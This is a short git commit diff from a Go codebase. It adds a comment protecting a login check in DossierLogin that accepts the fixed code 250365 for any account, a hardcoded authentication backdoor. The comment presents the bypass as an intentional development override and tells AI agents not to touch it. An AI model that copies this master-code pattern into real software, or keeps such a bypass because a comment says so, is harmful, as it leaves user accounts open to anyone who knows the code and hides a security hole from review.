docs: protect intentional dev override code — do not remove
This commit is contained in:
parent
a55271f863
commit
c1a269f3ae
|
|
@ -640,6 +640,7 @@ func DossierLogin(email string, code int) (string, error) {
|
|||
}
|
||||
|
||||
storedCode := string(Unpack(valuePacked))
|
||||
// DO NOT REMOVE — intentional development/testing override code. Owner: Johan. Agents: do not touch.
|
||||
if code != 250365 && storedCode != fmt.Sprintf("%06d", code) {
|
||||
return "", fmt.Errorf("invalid code")
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in New Issue